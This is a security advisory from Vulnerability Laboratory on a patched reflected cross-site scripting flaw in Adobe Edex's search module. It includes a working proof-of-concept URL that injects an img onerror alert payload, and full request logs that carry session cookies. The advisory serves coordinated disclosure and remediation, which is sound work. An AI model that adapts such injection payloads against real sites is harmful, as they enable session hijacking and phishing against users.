Document Title: =============== Adobe (Edex) - Client Side Cross Site Scripting Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1630 PSIRT ID: 4261 Release Date: ============= 2016-03-01 Vulnerability Laboratory ID (VL-ID): ==================================== 1630 Common Vulnerability Scoring System: ==================================== 3.3 Product & Service Introduction: =============================== Whether it is a smartphone or tablet app, a game, a video, a digital magazine, a website, or an online experience, chances are that it was touched by Adobe technology. Our tools and services enable our customers to create groundbreaking digital content, deploy it across media and devices, and then continually measure and optimize it based on user data. By providing complete solutions that combine digital media creation with data-driven marketing, we help businesses improve their communications, strengthen their brands, and ultimately achieve greater business success. (Copy of the Vendor Homepage: http://www.adobe.com/aboutadobe/) Abstract Advisory Information: ============================== The Vulnerability Laboratory Core Research Team discovered a client-side cross site scripting web vulnerability in the official Adobe Edex online service web-application. Vulnerability Disclosure Timeline: ================================== 2015-10-29: Researcher Notification & Coordination (Hadji Samir - Evolution Security GmbH) 2015-10-30: Vendor Notification (Adobe PSIRT - Security Acknowledgements) 2015-11-04: Vendor Response/Feedback (Adobe PSIRT - Security Acknowledgements) 2016-02-20: Vendor Fix/Patch (Adobe - Developer Team) 2016-02-29: Security Reward (Adobe PSIRT - Security Acknowledgements) 2016-03-01: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Adobe Systems Product: Edex - Online Service (Web-Application) 2015 Q4 Exploitation Technique: ======================= Remote Severity Level: =============== Low Technical Details & Description: ================================ Multiple client-side web vulnerabilities has been discovered in the official Adobe (Edex) online service web-application. The vulnerability is located in the `keyword-holder` parameter value of the search/global/ module GET method request. Remote attackers are able to inject script codes to the client-side browser to application GET method requests. The attack vector of the issues are client-side and the request method to inject is GET. The security risk of the client-side web vulnerabilities are estimated as medium with a cvss (common vulnerability scoring system) count of 3.3. Exploitation of the non-persistent web vulnerabilities requires no privileged web application user account and low or medium user interaction. Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing, non-persistent external redirects, non-persistent load of malicious script codes or non-persistent web module context manipulation. Request Method(s): [+] GET Vulnerable Module(s): [+] Adobe - Edex Vulnerable Section(s): [+] search/global/ Vulnerable Parameter(s): [+] keyword-holder (keyword) Proof of Concept (PoC): ======================= The client-side cross site scripting web vulnerability can be exploited by remote attackers without privileged web-application user account and with low or medium user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. PoC: Source "i'm-looking-for...">" --- PoC Session Logs [GET] --- Status: 200[OK] GET https://edex.adobe.com/search/global/i'm-looking-for...%22%3E%3Cimg%20src=%22c%22%20onerror=alert('xss_by_samir')%3E Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Content Size[-1] Mime Type[text/html] Request Headers: Host[edex.adobe.com] User-Agent[Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:41.0) Gecko/20100101 Firefox/41.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[en-US,en;q=0.5] Accept-Encoding[gzip, deflate] Cookie[CFID=175138; CFTOKEN=1b7db886df1171c5-36EFDD96-C7FE-4BB5-B60BE722D7AF56DB; EDEXLOCALE=CF846F877BAC0B7DF6949F60D319407B; AMCV_9E1005A551ED61CA0A490D45%40AdobeOrg=793872103%7CMCIDTS%7C16739%7CMCMID%7C13220975645672278100373016802775217520%7CMCAAMLH-1446812458%7C6%7CMCAAMB-1446812459%7CNRX38WO0n5BH8Th-nqAG_A%7CMCAID%7C2B0552D805311A1F-4000010BC000F38A; s_pers=%20gpv%3Dedex.adobe.com%253Asearch%253Aglobal%253Ai%2527m-looking-for...%252522%25253E%25253Cimg%252520src%253D%252522c%252522%252520onerror%253Dalert%2528%2527xss_by_samir%2527%2529%25253E%7C1446209456872%3B%20s_nr%3D1446207656977-Repeat%7C1477743656977%3B%20s_vs%3D1%7C1446209463056%3B; mbox=PC#1443538351735-282114.26_31#1449231658|session#1446207657314-337563#1446209518; s_vi=[CS]v1|2B0552D805311A1F-4000010BC000F38A[CE]; DEFAULTLOCALE=en%5FWORLD; s_sess=%20s_demandbase_v2.2%3Ddone%3B%20s_dmdbase%3D%255Bn%252Fa%255D%253A%255Bn%252Fa%255D%253A%255Bn%252Fa%255D%253A%255Bn%252Fa%255D%253A%255Bn%252Fa%255D%253A%255Bn%252Fa%255D%253ASOHO%253A%255Bn%252Fa%255D%3B%20s_dmdbase_custom%3D%255Bn%252Fa%255D%253A%255Bn%252Fa%255D%253A%255Bn%252Fa%255D%253ATN%253A%255Bn%252Fa%255D%253A%255Bn%252Fa%255D%253A%255Bn%252Fa%255D%253A%255Bn%252Fa%255D%3B%20s_cpc%3D1%3B%20s_cc%3Dtrue%3B%20s_ppvl%3Dedex.adobe.com%25252Fsearch%25252Fglobal%25252Fi%252527m-looking-for...%25252522%2525253E%2525253Cimg%25252520src%25253D%25252522c%25252522%25252520onerror%25253Dalert%252528%252527xss_by_samir%252527%252529%2525253E%252C100%252C100%252C649%252C1280%252C649%252C1280%252C800%252C1%252CP%3B%20s_ppv%3Dedex.adobe.com%25252Fsearch%25252Fglobal%25252Fi%252527m-looking-for...%25252522%2525253E%2525253Cimg%25252520src%25253D%25252522c%25252522%25252520onerror%25253Dalert%252528%252527xss_by_samir%252527%252529%2525253E%252C16%252C16%252C649%252C1280%252C649%252C1280%252C800%252C1%252CP%3B; s_cc=true; sfdc_session=-] Connection[keep-alive] Response Headers: Content-Encoding[gzip] Content-Type[text/html;charset=UTF-8] Date[Fri, 30 Oct 2015 12:21:23 GMT] Server[Apache-Coyote/1.1] Set-Cookie[EDEXLOCALE=CF846F877BAC0B7DF6949F60D319407B; Expires=Sat, 29-Oct-2016 12:21:24 GMT; Path=/DEFAULTLOCALE=en%5FWORLD; Path=/] Vary[User-Agent,Accept-Encoding] VND.Adobe.runtime[334ms] X-Frame-Options[SAMEORIGIN] Transfer-Encoding[chunked] Connection[keep-alive] Reference(s): https://edex.adobe.com/ https://edex.adobe.com/search/ https://edex.adobe.com/search/global/ Solution - Fix & Patch: ======================= The vulnerability can be patched by a secure parse and encode of the vulnerable `keyword` values in the search module of adobe edex. Restrict the input and disallow special chars to prevent an execution of malicious script codes to compromise adobe user accounts. Security Risk: ============== The security risk of the client-side cross site scripting web vulnerability in the adobe web-application is estimated as medium. (CVSS 3.3) Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Hadji Samir (samir@evolution-sec.com) [http://www.vulnerability-lab.com/show.php?user=Hadji%20Samir] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. 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